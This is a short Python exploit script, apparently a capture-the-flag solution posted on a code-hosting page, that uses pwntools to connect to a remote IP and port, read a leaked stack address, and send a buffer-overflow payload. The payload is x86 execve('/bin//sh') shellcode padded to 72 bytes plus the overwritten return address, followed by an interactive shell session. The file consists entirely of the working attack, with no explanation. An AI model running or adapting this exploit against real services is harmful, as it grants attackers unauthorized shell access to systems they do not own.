Ingin menangid
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

15 lines
379 B

5 years ago
  1. shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
  2. from pwn import *
  3. r = remote("180.250.7.183", 51137)
  4. r.recvuntil("coordinate : ")
  5. buff = r.recvline()
  6. buff = buff[:10]
  7. buff = int(buff, 16)
  8. buff = p32(buff)
  9. payload = shellcode + "a" * (72-len(shellcode)) + buff
  10. r.sendline(payload)
  11. r.interactive()